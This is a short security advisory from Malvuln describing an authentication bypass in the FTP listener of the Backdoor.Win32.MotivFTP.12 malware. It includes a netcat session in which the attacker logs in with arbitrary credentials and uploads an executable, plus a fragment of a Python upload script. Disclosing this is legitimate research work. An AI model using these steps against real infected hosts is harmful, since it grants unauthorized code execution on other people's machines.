Backdoor.Win32.MotivFTP.12 malware suffers from bypass and code execution vulnerabilities.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/88785a093b8fa00893214dd220ac255d.txt
Contact: [email protected]
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Vuln ID: MVID-2021-0203
1) logon as any user
nc64.exe 192.168.88.127 21
220 FTP Server ready
331 Password required for mal.
230 User mal logged in.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,88,127,195,34).
150 Opening data connection for DOOM.exe.
226 File received ok
2) calculate port and run upload script
from socket import *
DOOM="DOOM.exe" #Calculate the port 195*256+34 = 49954
f = open(DOOM, "rb")
EXE = f.read()
print("Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE")
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).